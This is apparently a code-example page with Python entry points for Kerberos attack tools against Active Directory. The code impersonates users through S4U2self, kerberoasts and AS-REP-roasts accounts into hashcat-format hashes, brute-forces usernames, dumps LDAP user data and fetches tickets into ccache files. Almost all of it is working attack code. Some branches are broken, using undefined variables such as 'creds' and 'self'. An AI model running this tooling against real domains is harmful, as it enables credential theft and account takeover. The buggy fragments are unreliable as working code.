Beispiel #1
0
def main():
    import argparse

    parser = argparse.ArgumentParser(
        description='Gets an S4U2self ticket impersonating given user',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberos_url_help_epilog)
    parser.add_argument(
        'kerberos_connection_url',
        help=
        'the kerberos target string in the following format <domain>/<username>/<secret_type>:<secret>@<domaincontroller-ip>'
    )
    parser.add_argument(
        'spn',
        help=
        'the service principal in format <service>/<server-hostname>@<domain> Example: cifs/[email protected] for a TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER\'S HOSTNAME MUST BE USED, NOT IP!!!'
    )
    parser.add_argument('targetuser', help='')
    parser.add_argument('ccache',
                        help='ccache file to store the TGT ticket in')
    parser.add_argument('-v', '--verbose', action='count', default=0)

    args = parser.parse_args()
    if args.verbose == 0:
        logger.setLevel(logging.WARNING)
    elif args.verbose == 1:
        logger.setLevel(logging.INFO)
    else:
        logger.setLevel(1)

    asyncio.run(amain(args))
def run():
    import argparse

    parser = argparse.ArgumentParser(
        description=
        'Tool to perform kerberoast attack against service users in MS Active Directory'
    )
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Increase verbosity, can be stacked')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    ldap_group = subparsers.add_parser(
        'ldap', help='Enumerate potentially vulnerable users via LDAP')
    ldap_group.add_argument('type',
                            choices=['spn', 'asrep', 'full', 'custom', 'all'],
                            help='type of vulnerable users to enumerate')
    ldap_group.add_argument(
        'user',
        help=
        'LDAP user specitication <domain>/<username>:<password>@<ip or hostname>'
    )
    ldap_group.add_argument('-n',
                            '--ntlm',
                            action='store_true',
                            help='Indicate if password is actually an NT hash')
    ldap_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    ldap_group.add_argument('-f',
                            '--filter',
                            help='CUSTOM mode only. LDAP search filter')
    ldap_group.add_argument(
        '-a',
        '--attrs',
        action='append',
        help='FULL and CUSTOM mode only. LDAP attributes to display')
    ldap_group.add_argument(
        '-s',
        '--use-sspi',
        action='store_true',
        help=
        'Use built-in windows SSPI for authentication. No credentials needed, will use the current user context.'
    )

    brute_group = subparsers.add_parser(
        'brute', help='Enumerate users via brute-forcing kerberos service')
    brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
    brute_group.add_argument('address', help='Address of the DC')
    brute_group.add_argument(
        'targets',
        help='File with a list of usernames to enumerate, one user per line')
    brute_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    asreproast_group = subparsers.add_parser('asreproast',
                                             help='Perform asrep roasting')
    asreproast_group.add_argument('address', help='Address of the DC')
    asreproast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    asreproast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    asreproast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    asreproast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    asreproast_group.add_argument('-e',
                                  '--etype',
                                  default=23,
                                  const=23,
                                  nargs='?',
                                  choices=[23, 17, 18],
                                  type=int,
                                  help='Set preferred encryption type')

    spnroast_group = subparsers.add_parser(
        'spnroast', help='Perform spn roasting (aka kerberoasting)')
    spnroast_group.add_argument(
        'logincreds',
        help=
        'Either CCACHE file name or Kerberos login data <realm>/<username>:<password or NT hash or AES key>@<ip or hostname> Can be omitted for asrep command.'
    )
    spnroast_group.add_argument(
        '-n',
        '--ntlm',
        action='store_true',
        help='Indicate if password is actually an NT hash')
    spnroast_group.add_argument(
        '-a',
        '--aes',
        action='store_true',
        help=
        'Indicate if password is actually an AES key (AES128 and AES256 agnostic)'
    )
    spnroast_group.add_argument(
        '-d',
        '--des',
        action='store_true',
        help=
        'Indicate if password is actually an DES key (if DC allows this there are waay more issues than kerberoast)'
    )
    spnroast_group.add_argument(
        '-c',
        '--ccache',
        action='store_true',
        help='Indicate if target is actually a CCACHE file')
    spnroast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    spnroast_group.add_argument(
        '-e',
        '--etype',
        default=-1,
        const=-1,
        nargs='?',
        choices=[23, 17, 18, -1],
        type=int,
        help='Set preferred encryption type. -1 for all')

    spnroastsspi_group = subparsers.add_parser(
        'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)')
    spnroastsspi_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroastsspi_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroastsspi_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroastsspi_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )

    auto_group = subparsers.add_parser(
        'auto',
        help=
        'Just get the tickets already. Only works on windows under any domain-user context'
    )
    auto_group.add_argument('dc_ip', help='Target domain controller')
    auto_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        kerblogger.setLevel(logging.WARNING)
        msldaplogger.setLevel(logging.WARNING)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        kerblogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.INFO)

    else:
        logging.basicConfig(level=1)
        kerblogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.DEBUG)

    #ksoc = KerberosSocket(args.target)

    if args.command == 'auto':
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        target_server = MSLDAPTargetServer(args.dc_ip)
        ldap = MSLDAP(None, target_server, use_sspi=True)
        ldap.connect()
        adinfo = ldap.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')
        spn_users = []
        asrep_users = []
        results = []
        errors = []
        for user in ldap.get_all_knoreq_user_objects():
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        for user in ldap.get_all_service_user_objects():
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            ks = KerberosSocket(args.address)
            ar = APREPRoast(ks)
            results += ar.run(creds, override_etype=[args.etype])

        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')
        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

    elif args.command == 'spnroast-sspi':
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    spn_name = '%s@%s' % (username, domain)
                    targets.append(spn_name)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                spn_name = '%s@%s' % (username, domain)
                targets.append(spn_name)

        results = []
        errors = []
        for spn_name in targets:
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')

        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

        logging.info('SSPI based Kerberoast complete')

    elif args.command == 'spnroast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    target = KerberosTarget()
                    target.username = username
                    target.domain = domain
                    targets.append(target)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                target = KerberosTarget()
                target.username = username
                target.domain = domain
                targets.append(target)

        if len(targets) == 0:
            raise Exception('No targets loaded!')
        logging.debug('Kerberoast loaded %d targets' % len(targets))

        if args.ccache:
            raise Exception('Not implemented yet!')

        else:
            domain, username, password, target = from_target_string(
                args.logincreds)
            if not password:
                password = getpass.getpass()

            if not domain:
                raise Exception(
                    'Missing domain from kerberos logon credentials')

            if not username:
                raise Exception(
                    'Missing username from kerberos logon credentials')

            if not target:
                raise Exception(
                    'Missing target from kerberos logon credentials')

            cred = KerberosCredential()
            cred.domain = domain
            cred.username = username

            if args.ntlm:
                cred.nt_hash = password

            elif args.aes:
                if len(password) == 32:
                    cred.kerberos_key_aes_128 = password
                elif len(password) == 64:
                    cred.kerberos_key_aes_256 = password
                else:
                    raise Exception(
                        'Kerberos logon credential AES keysize incorrect!')

            else:
                cred.password = password

            ks = KerberosSocket(target)
            ar = Kerberoast(cred, ks)

            if args.etype:
                if args.etype == -1:
                    etypes = [23, 17, 18]
                else:
                    etypes = [args.etype]
            else:
                etypes = [23, 17, 18]

            logging.debug(
                'Kerberoast will suppoort the following encryption type(s): %s'
                % (','.join(str(x) for x in etypes)))

            hashes = ar.run(targets, override_etype=etypes)

            if args.out_file:
                with open(args.out_file, 'w') as f:
                    for thash in hashes:
                        f.write(thash + '\r\n')

            else:
                for thash in hashes:
                    print(thash)

            logging.info('Kerberoast complete')

    elif args.command == 'asreproast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        creds = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    cred = KerberosCredential()
                    cred.username = username
                    cred.domain = domain
                    creds.append(cred)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                cred = KerberosCredential()
                cred.username = username
                cred.domain = domain
                creds.append(cred)

        logging.debug('ASREPRoast loaded %d targets' % len(creds))

        logging.debug(
            'ASREPRoast will suppoort the following encryption type: %s' %
            (str(args.etype)))

        ks = KerberosSocket(args.address)
        ar = APREPRoast(ks)
        hashes = ar.run(creds, override_etype=[args.etype])

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('ASREPRoast complete')

    elif args.command == 'brute':
        users = []
        with open(args.targets, 'r') as f:
            for line in f:
                users.append(line.strip())
        ksoc = KerberosSocket(args.address)
        ke = KerberosUserEnum(ksoc)
        results = ke.run(args.realm, users)
        logging.info('Enumerated %d users!' % len(results))
        if args.out_file:
            with open(args.out_file, 'w') as f:
                for user in results:
                    f.write(user + '\r\n')

        else:
            print('[+] Enumerated users:')
            for user in results:
                print(user)

        logging.info('Kerberos user enumeration complete')

    elif args.command == 'ldap':
        domain, username, password, target = from_target_string(args.user)
        if not password:
            password = getpass.getpass()
        ldap_server = MSLDAPTargetServer(target)
        creds = MSLDAPUserCredential(username=username,
                                     domain=domain,
                                     password=password,
                                     is_ntlm=args.ntlm)
        ldap = MSLDAP(creds, ldap_server, use_sspi=args.use_sspi)
        ldap.connect()
        adinfo = ldap.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')

        if args.out_file:
            basefolder = ntpath.dirname(args.out_file)
            basefile = ntpath.basename(args.out_file)

        if args.type in ['spn', 'all']:
            logging.debug('Enumerating SPN user accounts...')
            cnt = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    for user in ldap.get_all_service_user_objects():
                        cnt += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))

            else:
                print('[+] SPN users')
                for user in ldap.get_all_service_user_objects():
                    cnt += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d SPN user accounts' % cnt)

        if args.type in ['asrep', 'all']:
            logging.debug('Enumerating ASREP user accounts...')
            ctr = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    for user in ldap.get_all_knoreq_user_objects():
                        ctr += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
            else:
                print('[+] ASREP users')
                for user in ldap.get_all_knoreq_user_objects():
                    ctr += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d ASREP user accounts' % ctr)

        if args.type in ['full', 'all']:
            logging.debug(
                'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
            )
            ctr = 0
            attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_users.tsv'),
                          'w',
                          newline='',
                          encoding='utf8') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(attrs)
                    for user in ldap.get_all_user_objects():
                        ctr += 1
                        writer.writerow(user.get_row(attrs))

            else:
                logging.debug('Are you sure about this?')
                print('[+] Full user dump')
                print('\t'.join(attrs))
                for user in ldap.get_all_user_objects():
                    ctr += 1
                    print('\t'.join([str(x) for x in user.get_row(attrs)]))

            logging.debug('Enumerated %d user accounts' % ctr)

        if args.type in ['custom']:
            if not args.filter:
                raise Exception(
                    'Custom LDAP search requires the search filter to be specified!'
                )
            if not args.attrs:
                raise Exception(
                    'Custom LDAP search requires the attributes to be specified!'
                )

            logging.debug(
                'Perforing search on the AD with the following filter: %s' %
                args.filter)
            logging.debug('Search will contain the following attributes: %s' %
                          ','.join(args.attrs))
            ctr = 0

            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_custom.tsv'),
                          'w',
                          newline='') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(args.attrs)
                    for obj in ldap.pagedsearch(self, args.filter, args.attrs):
                        ctr += 1
                        writer.writerow([
                            str(obj['attributes'].get(x, 'N/A'))
                            for x in args.attrs
                        ])

            else:
                for obj in ldap.pagedsearch(self, args.filter, args.attrs):
                    ctr += 1
                    print('\t'.join([
                        str(obj['attributes'].get(x, 'N/A'))
                        for x in args.attrs
                    ]))

            logging.debug('Custom search yielded %d results!' % ctr)
Beispiel #3
0
def run():
    import argparse

    parser = argparse.ArgumentParser(
        description='Tool to perform verious kerberos security tests',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberoast_epilog)
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Increase verbosity, can be stacked')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    ldap_group = subparsers.add_parser(
        'ldap',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        help='Enumerate potentially vulnerable users via LDAP',
        epilog=MSLDAPURLDecoder.help_epilog)
    ldap_group.add_argument('type',
                            choices=['spn', 'asrep', 'full', 'custom', 'all'],
                            help='type of vulnerable users to enumerate')
    ldap_group.add_argument('ldap_url', help='LDAP connection URL')
    ldap_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    ldap_group.add_argument('-f',
                            '--filter',
                            help='CUSTOM mode only. LDAP search filter')
    ldap_group.add_argument(
        '-a',
        '--attrs',
        action='append',
        help='FULL and CUSTOM mode only. LDAP attributes to display')

    brute_group = subparsers.add_parser(
        'brute', help='Enumerate users via brute-forcing kerberos service')
    brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
    brute_group.add_argument('address', help='Address of the DC')
    brute_group.add_argument(
        'targets',
        help='File with a list of usernames to enumerate, one user per line')
    brute_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    asreproast_group = subparsers.add_parser('asreproast',
                                             help='Perform asrep roasting')
    asreproast_group.add_argument('address', help='Address of the DC')
    asreproast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    asreproast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    asreproast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    asreproast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    asreproast_group.add_argument('-e',
                                  '--etype',
                                  default=23,
                                  const=23,
                                  nargs='?',
                                  choices=[23, 17, 18],
                                  type=int,
                                  help='Set preferred encryption type')

    spnroast_group = subparsers.add_parser(
        'spnroast',
        help='Perform spn roasting (aka kerberoasting)',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=KerberosCredential.help_epilog)
    spnroast_group.add_argument(
        'kerberos_connection_string',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    spnroast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    spnroast_group.add_argument(
        '-e',
        '--etype',
        default=-1,
        const=-1,
        nargs='?',
        choices=[23, 17, 18, -1],
        type=int,
        help='Set preferred encryption type. -1 for all')

    spnroastsspi_group = subparsers.add_parser(
        'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)')
    spnroastsspi_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroastsspi_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroastsspi_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroastsspi_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )

    tgt_group = subparsers.add_parser(
        'tgt',
        help='Fetches a TGT for the given user credential',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=KerberosCredential.help_epilog)
    tgt_group.add_argument(
        'kerberos_connection_string',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    tgt_group.add_argument('out_file', help='Output CCACHE file')

    tgs_group = subparsers.add_parser(
        'tgs',
        help='Fetches a TGT for the given user credential',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=KerberosCredential.help_epilog)
    tgs_group.add_argument(
        'kerberos_connection_string',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    tgs_group.add_argument(
        'spn',
        help=
        'SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>'
    )
    tgs_group.add_argument('out_file', help='Output CCACHE file')

    auto_group = subparsers.add_parser(
        'auto',
        help=
        'Just get the tickets already. Only works on windows under any domain-user context'
    )
    auto_group.add_argument('dc_ip', help='Target domain controller')
    auto_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    auto_group.add_argument('-e',
                            '--etype',
                            default=23,
                            const=23,
                            nargs='?',
                            choices=[23, 17, 18],
                            type=int,
                            help='Set preferred encryption type')

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        kerblogger.setLevel(logging.WARNING)
        msldaplogger.setLevel(logging.WARNING)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        kerblogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.INFO)

    else:
        logging.basicConfig(level=1)
        kerblogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.DEBUG)

    #ksoc = KerberosSocket(args.target)

    if args.command == 'tgs':
        cred = KerberosCredential.from_connection_string(
            args.kerberos_connection_string)
        ks = KerberosSocket.from_connection_string(
            args.kerberos_connection_string)
        domain, hostname = args.spn.split('/')

        target = KerberosTarget()
        target.username = hostname
        target.domain = domain

        comm = KerbrosComm(cred, ks)
        comm.get_TGT()
        comm.get_TGS(target)
        comm.ccache.to_file(args.out_file)

    elif args.command == 'tgt':
        cred = KerberosCredential.from_connection_string(
            args.kerberos_connection_string)
        ks = KerberosSocket.from_connection_string(
            args.kerberos_connection_string)
        comm = KerbrosComm(cred, ks)
        comm.get_TGT()
        comm.ccache.to_file(args.out_file)

    elif args.command == 'auto':
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        domain = args.dc_ip
        url = 'ldap+sspi://%s' % domain
        msldap_url = MSLDAPURLDecoder(url)
        connection = msldap_url.get_connection()
        connection.connect()

        adinfo = connection.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')
        spn_users = []
        asrep_users = []
        results = []
        errors = []
        for user in connection.get_all_knoreq_user_objects():
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        for user in connection.get_all_service_user_objects():
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            ks = KerberosSocket(domain)
            ar = APREPRoast(ks)
            results += ar.run([cred], override_etype=[args.etype])

        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')
        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

    elif args.command == 'spnroast-sspi':
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    spn_name = '%s@%s' % (username, domain)
                    targets.append(spn_name)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                spn_name = '%s@%s' % (username, domain)
                targets.append(spn_name)

        results = []
        errors = []
        for spn_name in targets:
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')

        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

        logging.info('SSPI based Kerberoast complete')

    elif args.command == 'spnroast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    target = KerberosTarget()
                    target.username = username
                    target.domain = domain
                    targets.append(target)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                target = KerberosTarget()
                target.username = username
                target.domain = domain
                targets.append(target)

        if len(targets) == 0:
            raise Exception('No targets loaded!')
        logging.debug('Kerberoast loaded %d targets' % len(targets))

        cred = KerberosCredential.from_connection_string(
            args.kerberos_connection_string)
        ks = KerberosSocket.from_connection_string(
            args.kerberos_connection_string)
        ar = Kerberoast(cred, ks)

        if args.etype:
            if args.etype == -1:
                etypes = [23, 17, 18]
            else:
                etypes = [args.etype]
        else:
            etypes = [23, 17, 18]

        logging.debug(
            'Kerberoast will suppoort the following encryption type(s): %s' %
            (','.join(str(x) for x in etypes)))

        hashes = ar.run(targets, override_etype=etypes)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('Kerberoast complete')

    elif args.command == 'asreproast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        creds = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    cred = KerberosCredential()
                    cred.username = username
                    cred.domain = domain
                    creds.append(cred)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                cred = KerberosCredential()
                cred.username = username
                cred.domain = domain
                creds.append(cred)

        logging.debug('ASREPRoast loaded %d targets' % len(creds))

        logging.debug(
            'ASREPRoast will suppoort the following encryption type: %s' %
            (str(args.etype)))

        ks = KerberosSocket(args.address)
        ar = APREPRoast(ks)
        hashes = ar.run(creds, override_etype=[args.etype])

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('ASREPRoast complete')

